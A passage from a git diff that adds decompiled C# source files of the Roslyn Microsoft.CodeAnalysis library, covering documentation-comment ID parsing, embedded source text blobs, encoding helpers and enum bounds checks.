StringBuilder(); + new ReferenceGenerator(stringBuilder, null).Visit(symbol); + return stringBuilder.ToString(); + } + + public static ImmutableArray GetSymbolsForDeclarationId(string id, Compilation compilation) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + List list = s_symbolListPool.Allocate(); + try + { + Parser.ParseDeclaredSymbolId(id, compilation, list); + return list.ToImmutableArray(); + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + + private static bool TryGetSymbolsForDeclarationId(string id, Compilation compilation, List results) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (results == null) + { + throw new ArgumentNullException("results"); + } + return Parser.ParseDeclaredSymbolId(id, compilation, results); + } + + public static ISymbol? GetFirstSymbolForDeclarationId(string id, Compilation compilation) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + List list = s_symbolListPool.Allocate(); + try + { + Parser.ParseDeclaredSymbolId(id, compilation, list); + return (list.Count == 0) ? null : list[0]; + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + + public static ImmutableArray GetSymbolsForReferenceId(string id, Compilation compilation) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + List list = s_symbolListPool.Allocate(); + try + { + TryGetSymbolsForReferenceId(id, compilation, list); + return list.ToImmutableArray(); + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + + private static bool TryGetSymbolsForReferenceId(string id, Compilation compilation, List results) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (results == null) + { + throw new ArgumentNullException("results"); + } + if (id.Length > 1 && id[0] == 'N' && id[1] == ':') + { + return TryGetSymbolsForDeclarationId(id, compilation, results); + } + return Parser.ParseReferencedSymbolId(id, compilation, results); + } + + public static ISymbol? GetFirstSymbolForReferenceId(string id, Compilation compilation) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (id.Length > 1 && id[0] == 'N' && id[1] == ':') + { + return GetFirstSymbolForDeclarationId(id, compilation); + } + List list = s_symbolListPool.Allocate(); + try + { + Parser.ParseReferencedSymbolId(id, compilation, list); + return (list.Count == 0) ? null : list[0]; + } + finally + { + s_symbolListPool.ClearAndFree(list); + } + } + + private static int GetTotalTypeParameterCount(INamedTypeSymbol? symbol) + { + int num = 0; + while (symbol != null) + { + num += symbol.TypeParameters.Length; + symbol = symbol.ContainingSymbol as INamedTypeSymbol; + } + return num; + } + + private static string EncodeName(string name) + { + if (name.IndexOf('.') >= 0) + { + return name.Replace('.', '#'); + } + return name; + } + + private static string EncodePropertyName(string name) + { + if (name == "this[]") + { + name = "Item"; + } + else if (name.EndsWith(".this[]")) + { + name = name.Substring(0, name.Length - 6) + "Item"; + } + return name; + } + + private static string DecodePropertyName(string name, string language) + { + if (language == "C#") + { + if (name == "Item") + { + name = "this[]"; + } + else if (name.EndsWith(".Item")) + { + name = name.Substring(0, name.Length - 4) + "this[]"; + } + } + return name; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentIncludeCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentIncludeCache.cs new file mode 100644 index 0000000..653af22 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationCommentIncludeCache.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using System.Xml.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class DocumentationCommentIncludeCache : CachingFactory> +{ + private const int Size = 5; + + private static readonly XmlReaderSettings s_xmlSettings = new XmlReaderSettings + { + DtdProcessing = DtdProcessing.Prohibit + }; + + internal static int CacheMissCount { get; private set; } + + public DocumentationCommentIncludeCache(XmlReferenceResolver resolver) + : base(5, (Func>)((string key) => MakeValue(resolver, key)), (Func)KeyHashCode, (Func, bool>)KeyValueEquality) + { + CacheMissCount = 0; + } + + public XDocument GetOrMakeDocument(string resolvedPath) + { + return GetOrMakeValue(resolvedPath).Value; + } + + private static KeyValuePair MakeValue(XmlReferenceResolver resolver, string resolvedPath) + { + CacheMissCount++; + using Stream input = resolver.OpenReadChecked(resolvedPath); + using XmlReader reader = XmlReader.Create(input, s_xmlSettings); + XDocument value = XDocument.Load(reader, LoadOptions.PreserveWhitespace | LoadOptions.SetLineInfo); + return KeyValuePairUtil.Create(resolvedPath, value); + } + + private static int KeyHashCode(string resolvedPath) + { + return resolvedPath.GetHashCode(); + } + + private static bool KeyValueEquality(string resolvedPath, KeyValuePair pathAndDocument) + { + return resolvedPath == pathAndDocument.Key; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationMode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationMode.cs new file mode 100644 index 0000000..3222fe0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationMode.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum DocumentationMode : byte +{ + None, + Parse, + Diagnose +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationModeEnumBounds.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationModeEnumBounds.cs new file mode 100644 index 0000000..3a32781 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationModeEnumBounds.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis; + +internal static class DocumentationModeEnumBounds +{ + internal static bool IsValid(this DocumentationMode value) + { + if ((int)value >= 0) + { + return (int)value <= 2; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationProvider.cs new file mode 100644 index 0000000..406b136 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DocumentationProvider.cs @@ -0,0 +1,34 @@ +using System.Globalization; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public abstract class DocumentationProvider +{ + private class NullDocumentationProvider : DocumentationProvider + { + protected internal override string GetDocumentationForSymbol(string documentationMemberID, CultureInfo preferredCulture, CancellationToken cancellationToken = default(CancellationToken)) + { + return ""; + } + + public override bool Equals(object? obj) + { + return this == obj; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + } + + public static DocumentationProvider Default { get; } = new NullDocumentationProvider(); + + protected internal abstract string? GetDocumentationForSymbol(string documentationMemberID, CultureInfo preferredCulture, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract override bool Equals(object? obj); + + public abstract override int GetHashCode(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DriverStateTable.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DriverStateTable.cs new file mode 100644 index 0000000..e6ea7f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DriverStateTable.cs @@ -0,0 +1,66 @@ +using System.Collections.Generic; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal sealed class DriverStateTable +{ + public sealed class Builder + { + private readonly StateTableStore.Builder _stateTableBuilder = new StateTableStore.Builder(); + + private readonly DriverStateTable _previousTable; + + private readonly CancellationToken _cancellationToken; + + internal GeneratorDriverState DriverState { get; } + + public Compilation Compilation { get; } + + internal SyntaxStore.Builder SyntaxStore { get; } + + public Builder(Compilation compilation, GeneratorDriverState driverState, SyntaxStore.Builder syntaxStore, CancellationToken cancellationToken = default(CancellationToken)) + { + Compilation = compilation; + DriverState = driverState; + _previousTable = driverState.StateTable; + _cancellationToken = cancellationToken; + SyntaxStore = syntaxStore; + } + + public NodeStateTable GetLatestStateTableForNode(IIncrementalGeneratorNode source) + { + if (_stateTableBuilder.TryGetTable(source, out IStateTable table)) + { + return (NodeStateTable)table; + } + NodeStateTable stateTable = _previousTable._tables.GetStateTable(source); + NodeStateTable nodeStateTable = source.UpdateStateTable(this, stateTable, _cancellationToken); + _stateTableBuilder.SetTable(source, nodeStateTable); + return nodeStateTable; + } + + public NodeStateTable.Builder CreateTableBuilder(NodeStateTable? previousTable, string? stepName, IEqualityComparer? equalityComparer, int? tableCapacity = null) + { + if (previousTable == null) + { + previousTable = NodeStateTable.Empty; + } + return previousTable.ToBuilder(stepName, DriverState.TrackIncrementalSteps, equalityComparer, tableCapacity); + } + + public DriverStateTable ToImmutable() + { + return new DriverStateTable(_stateTableBuilder.ToImmutable()); + } + } + + private readonly StateTableStore _tables; + + internal static DriverStateTable Empty { get; } = new DriverStateTable(StateTableStore.Empty); + + private DriverStateTable(StateTableStore tables) + { + _tables = tables; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyDecodeWellKnownAttributeArguments.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyDecodeWellKnownAttributeArguments.cs new file mode 100644 index 0000000..312ad5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyDecodeWellKnownAttributeArguments.cs @@ -0,0 +1,39 @@ +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal struct EarlyDecodeWellKnownAttributeArguments where TNamedTypeSymbol : INamedTypeSymbolInternal where TAttributeSyntax : SyntaxNode +{ + private EarlyWellKnownAttributeData _lazyDecodeData; + + public bool HasDecodedData + { + get + { + if (_lazyDecodeData != null) + { + return true; + } + return false; + } + } + + public EarlyWellKnownAttributeData DecodedData => _lazyDecodeData; + + public TEarlyBinder Binder { get; set; } + + public TNamedTypeSymbol AttributeType { get; set; } + + public TAttributeSyntax AttributeSyntax { get; set; } + + public TAttributeLocation SymbolPart { get; set; } + + public T GetOrCreateData() where T : EarlyWellKnownAttributeData, new() + { + if (_lazyDecodeData == null) + { + _lazyDecodeData = new T(); + } + return (T)_lazyDecodeData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..f6e3ae1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EarlyWellKnownAttributeData.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis; + +internal abstract class EarlyWellKnownAttributeData : WellKnownAttributeData +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedResource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedResource.cs new file mode 100644 index 0000000..2fa5d0e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedResource.cs @@ -0,0 +1,19 @@ +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct EmbeddedResource +{ + public readonly uint Offset; + + public readonly ManifestResourceAttributes Attributes; + + public readonly string Name; + + internal EmbeddedResource(uint offset, ManifestResourceAttributes attributes, string name) + { + Offset = offset; + Attributes = attributes; + Name = name; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedText.cs new file mode 100644 index 0000000..a7c9642 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmbeddedText.cs @@ -0,0 +1,213 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.IO.Compression; +using System.Reflection.Metadata; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class EmbeddedText +{ + private sealed class CountingDeflateStream : DeflateStream + { + public int BytesWritten { get; private set; } + + public CountingDeflateStream(Stream stream, CompressionLevel compressionLevel, bool leaveOpen) + : base(stream, compressionLevel, leaveOpen) + { + } + + public override void Write(byte[] array, int offset, int count) + { + base.Write(array, offset, count); + checked + { + BytesWritten += count; + } + } + + public override void WriteByte(byte value) + { + ((Stream)this).WriteByte(value); + checked + { + BytesWritten++; + } + } + + public override Task WriteAsync(byte[] buffer, int offset, int count, CancellationToken cancellationToken) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/EmbeddedText.cs", 378); + } + } + + internal const int CompressionThreshold = 200; + + public string FilePath { get; } + + public SourceHashAlgorithm ChecksumAlgorithm { get; } + + public ImmutableArray Checksum { get; } + + internal ImmutableArray Blob { get; } + + private EmbeddedText(string filePath, ImmutableArray checksum, SourceHashAlgorithm checksumAlgorithm, ImmutableArray blob) + { + FilePath = filePath; + Checksum = checksum; + ChecksumAlgorithm = checksumAlgorithm; + Blob = blob; + } + + public static EmbeddedText FromSource(string filePath, SourceText text) + { + ValidateFilePath(filePath); + if (text == null) + { + throw new ArgumentNullException("text"); + } + if (!text.CanBeEmbedded) + { + throw new ArgumentException(CodeAnalysisResources.SourceTextCannotBeEmbedded, "text"); + } + if (!text.PrecomputedEmbeddedTextBlob.IsDefault) + { + return new EmbeddedText(filePath, text.GetChecksum(), text.ChecksumAlgorithm, text.PrecomputedEmbeddedTextBlob); + } + return new EmbeddedText(filePath, text.GetChecksum(), text.ChecksumAlgorithm, CreateBlob(text)); + } + + public static EmbeddedText FromStream(string filePath, Stream stream, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1) + { + ValidateFilePath(filePath); + if (stream == null) + { + throw new ArgumentNullException("stream"); + } + if (!stream.CanRead || !stream.CanSeek) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportReadAndSeek, "stream"); + } + SourceText.ValidateChecksumAlgorithm(checksumAlgorithm); + return new EmbeddedText(filePath, SourceText.CalculateChecksum(stream, checksumAlgorithm), checksumAlgorithm, CreateBlob(stream)); + } + + public static EmbeddedText FromBytes(string filePath, ArraySegment bytes, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1) + { + ValidateFilePath(filePath); + if (bytes.Array == null) + { + throw new ArgumentNullException("bytes"); + } + SourceText.ValidateChecksumAlgorithm(checksumAlgorithm); + return new EmbeddedText(filePath, SourceText.CalculateChecksum(bytes.Array, bytes.Offset, bytes.Count, checksumAlgorithm), checksumAlgorithm, CreateBlob(bytes)); + } + + private static void ValidateFilePath(string filePath) + { + if (filePath == null) + { + throw new ArgumentNullException("filePath"); + } + if (filePath.Length == 0) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "filePath"); + } + } + + internal static ImmutableArray CreateBlob(Stream stream) + { + long length = stream.Length; + if (length > int.MaxValue) + { + throw new IOException(CodeAnalysisResources.StreamIsTooLong); + } + stream.Seek(0L, SeekOrigin.Begin); + int num = (int)length; + if (num < 200) + { + using (PooledBlobBuilder pooledBlobBuilder = PooledBlobBuilder.GetInstance()) + { + pooledBlobBuilder.WriteInt32(0); + int num2 = pooledBlobBuilder.TryWriteBytes(stream, num); + if (num != num2) + { + throw new EndOfStreamException(); + } + return pooledBlobBuilder.ToImmutableArray(); + } + } + using BlobBuildingStream blobBuildingStream = BlobBuildingStream.GetInstance(); + blobBuildingStream.WriteInt32(num); + using (CountingDeflateStream countingDeflateStream = new CountingDeflateStream(blobBuildingStream, CompressionLevel.Optimal, leaveOpen: true)) + { + stream.CopyTo(countingDeflateStream); + if (num != countingDeflateStream.BytesWritten) + { + throw new EndOfStreamException(); + } + } + return blobBuildingStream.ToImmutableArray(); + } + + internal static ImmutableArray CreateBlob(ArraySegment bytes) + { + if (bytes.Count < 200) + { + using (PooledBlobBuilder pooledBlobBuilder = PooledBlobBuilder.GetInstance()) + { + pooledBlobBuilder.WriteInt32(0); + pooledBlobBuilder.WriteBytes(bytes.Array, bytes.Offset, bytes.Count); + return pooledBlobBuilder.ToImmutableArray(); + } + } + using BlobBuildingStream blobBuildingStream = BlobBuildingStream.GetInstance(); + blobBuildingStream.WriteInt32(bytes.Count); + using (CountingDeflateStream countingDeflateStream = new CountingDeflateStream(blobBuildingStream, CompressionLevel.Optimal, leaveOpen: true)) + { + countingDeflateStream.Write(bytes.Array, bytes.Offset, bytes.Count); + } + return blobBuildingStream.ToImmutableArray(); + } + + private static ImmutableArray CreateBlob(SourceText text) + { + int num; + try + { + num = text.Encoding.GetMaxByteCount(text.Length); + } + catch (ArgumentOutOfRangeException) + { + num = int.MaxValue; + } + using BlobBuildingStream blobBuildingStream = BlobBuildingStream.GetInstance(); + if (num < 200) + { + blobBuildingStream.WriteInt32(0); + using StreamWriter textWriter = new StreamWriter(blobBuildingStream, text.Encoding, Math.Max(1, text.Length), leaveOpen: true); + text.Write(textWriter); + } + else + { + Blob blob = blobBuildingStream.ReserveBytes(4); + using CountingDeflateStream countingDeflateStream = new CountingDeflateStream(blobBuildingStream, CompressionLevel.Optimal, leaveOpen: true); + using (StreamWriter textWriter2 = new StreamWriter(countingDeflateStream, text.Encoding, 1024, leaveOpen: true)) + { + text.Write(textWriter2); + } + new BlobWriter(blob).WriteInt32(countingDeflateStream.BytesWritten); + } + return blobBuildingStream.ToImmutableArray(); + } + + internal DebugSourceInfo GetDebugSourceInfo() + { + return new DebugSourceInfo(Checksum, ChecksumAlgorithm, Blob); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmptyReadOnlyMemoryOfCharComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmptyReadOnlyMemoryOfCharComparer.cs new file mode 100644 index 0000000..f1893ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EmptyReadOnlyMemoryOfCharComparer.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class EmptyReadOnlyMemoryOfCharComparer : IEqualityComparer> +{ + public static readonly EmptyReadOnlyMemoryOfCharComparer Instance = new EmptyReadOnlyMemoryOfCharComparer(); + + private EmptyReadOnlyMemoryOfCharComparer() + { + } + + public bool Equals(ReadOnlyMemory a, ReadOnlyMemory b) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/ReadOnlyMemoryOfCharComparer.cs", 51); + } + + public int GetHashCode(ReadOnlyMemory s) + { + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EncodingExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EncodingExtensions.cs new file mode 100644 index 0000000..de89d2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EncodingExtensions.cs @@ -0,0 +1,100 @@ +using System; +using System.IO; +using System.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class EncodingExtensions +{ + internal const TextEncodingKind FirstTextEncodingKind = TextEncodingKind.EncodingUtf8; + + internal const TextEncodingKind LastTextEncodingKind = TextEncodingKind.EncodingUnicode_LE_BOM; + + private static readonly Encoding s_encodingUtf8 = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false); + + private static readonly Encoding s_encodingUtf32_BE = new UTF32Encoding(bigEndian: true, byteOrderMark: false); + + private static readonly Encoding s_encodingUtf32_BE_BOM = new UTF32Encoding(bigEndian: true, byteOrderMark: true); + + private static readonly Encoding s_encodingUtf32_LE = new UTF32Encoding(bigEndian: false, byteOrderMark: false); + + private static readonly Encoding s_encodingUnicode_BE = new UnicodeEncoding(bigEndian: true, byteOrderMark: false); + + private static readonly Encoding s_encodingUnicode_LE = new UnicodeEncoding(bigEndian: false, byteOrderMark: false); + + internal static int GetMaxCharCountOrThrowIfHuge(this Encoding encoding, Stream stream) + { + long length = stream.Length; + if (encoding.TryGetMaxCharCount(length, out var maxCharCount)) + { + return maxCharCount; + } + throw new IOException(CodeAnalysisResources.StreamIsTooLong); + } + + internal static bool TryGetMaxCharCount(this Encoding encoding, long length, out int maxCharCount) + { + maxCharCount = 0; + if (length <= int.MaxValue) + { + try + { + maxCharCount = encoding.GetMaxCharCount((int)length); + return true; + } + catch (ArgumentOutOfRangeException) + { + } + } + return false; + } + + public static Encoding GetEncoding(this TextEncodingKind kind) + { + return kind switch + { + TextEncodingKind.EncodingUtf8 => s_encodingUtf8, + TextEncodingKind.EncodingUtf8_BOM => Encoding.UTF8, + TextEncodingKind.EncodingUtf32_BE => s_encodingUtf32_BE, + TextEncodingKind.EncodingUtf32_BE_BOM => s_encodingUtf32_BE_BOM, + TextEncodingKind.EncodingUtf32_LE => s_encodingUtf32_LE, + TextEncodingKind.EncodingUtf32_LE_BOM => Encoding.UTF32, + TextEncodingKind.EncodingUnicode_BE => s_encodingUnicode_BE, + TextEncodingKind.EncodingUnicode_BE_BOM => Encoding.BigEndianUnicode, + TextEncodingKind.EncodingUnicode_LE => s_encodingUnicode_LE, + TextEncodingKind.EncodingUnicode_LE_BOM => Encoding.Unicode, + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } + + public static bool TryGetEncodingKind(this Encoding encoding, out TextEncodingKind kind) + { + switch (encoding.CodePage) + { + case 1200: + kind = ((encoding.Equals(Encoding.Unicode) || encoding.HasPreamble()) ? TextEncodingKind.EncodingUnicode_LE_BOM : TextEncodingKind.EncodingUnicode_LE); + return true; + case 1201: + kind = ((encoding.Equals(Encoding.BigEndianUnicode) || encoding.HasPreamble()) ? TextEncodingKind.EncodingUnicode_BE_BOM : TextEncodingKind.EncodingUnicode_BE); + return true; + case 12000: + kind = ((encoding.Equals(Encoding.UTF32) || encoding.HasPreamble()) ? TextEncodingKind.EncodingUtf32_LE_BOM : TextEncodingKind.EncodingUtf32_LE); + return true; + case 12001: + kind = ((encoding.Equals(Encoding.UTF32) || encoding.HasPreamble()) ? TextEncodingKind.EncodingUtf32_BE_BOM : TextEncodingKind.EncodingUtf32_BE); + return true; + case 65001: + kind = ((!encoding.Equals(Encoding.UTF8) && !encoding.HasPreamble()) ? TextEncodingKind.EncodingUtf8 : TextEncodingKind.EncodingUtf8_BOM); + return true; + default: + kind = TextEncodingKind.None; + return false; + } + } + + public static bool HasPreamble(this Encoding encoding) + { + return !encoding.GetPreamble().IsEmpty(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EntryState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EntryState.cs new file mode 100644 index 0000000..a4a585f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EntryState.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +internal enum EntryState +{ + Added, + Removed, + Modified, + Cached +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumBounds.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumBounds.cs new file mode 100644 index 0000000..a27dc47 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumBounds.cs @@ -0,0 +1,122 @@ +namespace Microsoft.CodeAnalysis; + +internal static class EnumBounds +{ + internal static bool IsValid(this OptimizationLevel value) + { + if (value >= OptimizationLevel.Debug) + { + return value <= OptimizationLevel.Release; + } + return false; + } + + internal static bool IsValid(this Platform value) + { + if (value >= Platform.AnyCpu) + { + return value <= Platform.Arm64; + } + return false; + } + + internal static bool Requires64Bit(this Platform value) + { + if (value != Platform.X64 && value != Platform.Itanium) + { + return value == Platform.Arm64; + } + return true; + } + + internal static bool Requires32Bit(this Platform value) + { + return value == Platform.X86; + } + + internal static bool IsValid(this MetadataImportOptions value) + { + if ((int)value >= 0) + { + return (int)value <= 2; + } + return false; + } + + internal static bool IsValid(this MetadataImageKind kind) + { + if ((int)kind >= 0) + { + return (int)kind <= 1; + } + return false; + } + + internal static bool IsValid(this OutputKind value) + { + if (value >= OutputKind.ConsoleApplication) + { + return value <= OutputKind.WindowsRuntimeApplication; + } + return false; + } + + internal static string GetDefaultExtension(this OutputKind kind) + { + switch (kind) + { + case OutputKind.ConsoleApplication: + case OutputKind.WindowsApplication: + case OutputKind.WindowsRuntimeApplication: + return ".exe"; + case OutputKind.DynamicallyLinkedLibrary: + return ".dll"; + case OutputKind.NetModule: + return ".netmodule"; + case OutputKind.WindowsRuntimeMetadata: + return ".winmdobj"; + default: + return ".dll"; + } + } + + internal static bool IsApplication(this OutputKind kind) + { + switch (kind) + { + case OutputKind.ConsoleApplication: + case OutputKind.WindowsApplication: + case OutputKind.WindowsRuntimeApplication: + return true; + case OutputKind.DynamicallyLinkedLibrary: + case OutputKind.NetModule: + case OutputKind.WindowsRuntimeMetadata: + return false; + default: + return false; + } + } + + internal static bool IsNetModule(this OutputKind kind) + { + return kind == OutputKind.NetModule; + } + + internal static bool IsWindowsRuntime(this OutputKind kind) + { + return kind == OutputKind.WindowsRuntimeMetadata; + } + + internal static bool IsValid(this SymbolDisplayPartKind value) + { + if (value < SymbolDisplayPartKind.AliasName || value > SymbolDisplayPartKind.RecordStructName) + { + if (value >= (SymbolDisplayPartKind)33) + { + return value <= (SymbolDisplayPartKind)34; + } + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumConstantHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumConstantHelper.cs new file mode 100644 index 0000000..bb75584 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumConstantHelper.cs @@ -0,0 +1,121 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class EnumConstantHelper +{ + internal static EnumOverflowKind OffsetValue(ConstantValue constantValue, uint offset, out ConstantValue offsetValue) + { + offsetValue = ConstantValue.Bad; + EnumOverflowKind enumOverflowKind; + switch (constantValue.Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + { + long num6 = constantValue.SByteValue; + enumOverflowKind = CheckOverflow(127L, num6, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((sbyte)(num6 + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.Byte: + { + ulong num2 = constantValue.ByteValue; + enumOverflowKind = CheckOverflow(255uL, num2, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((byte)(num2 + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.Int16: + { + long num4 = constantValue.Int16Value; + enumOverflowKind = CheckOverflow(32767L, num4, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((short)(num4 + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.UInt16: + { + ulong num = constantValue.UInt16Value; + enumOverflowKind = CheckOverflow(65535uL, num, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((ushort)(num + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.Int32: + { + long num5 = constantValue.Int32Value; + enumOverflowKind = CheckOverflow(2147483647L, num5, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((int)(num5 + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.UInt32: + { + ulong num3 = constantValue.UInt32Value; + enumOverflowKind = CheckOverflow(4294967295uL, num3, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create((uint)(num3 + offset)); + } + break; + } + case ConstantValueTypeDiscriminator.Int64: + { + long int64Value = constantValue.Int64Value; + enumOverflowKind = CheckOverflow(long.MaxValue, int64Value, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create(int64Value + offset); + } + break; + } + case ConstantValueTypeDiscriminator.UInt64: + { + ulong uInt64Value = constantValue.UInt64Value; + enumOverflowKind = CheckOverflow(ulong.MaxValue, uInt64Value, offset); + if (enumOverflowKind == EnumOverflowKind.NoOverflow) + { + offsetValue = ConstantValue.Create(uInt64Value + offset); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(constantValue.Discriminator); + } + return enumOverflowKind; + } + + private static EnumOverflowKind CheckOverflow(long maxOffset, long previous, uint offset) + { + return CheckOverflow((ulong)(maxOffset - previous), offset); + } + + private static EnumOverflowKind CheckOverflow(ulong maxOffset, ulong previous, uint offset) + { + return CheckOverflow(maxOffset - previous, offset); + } + + private static EnumOverflowKind CheckOverflow(ulong maxOffset, uint offset) + { + if (offset > maxOffset) + { + if (offset - 1 != maxOffset) + { + return EnumOverflowKind.OverflowIgnore; + } + return EnumOverflowKind.OverflowReport; + } + return EnumOverflowKind.NoOverflow; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumOverflowKind.cs 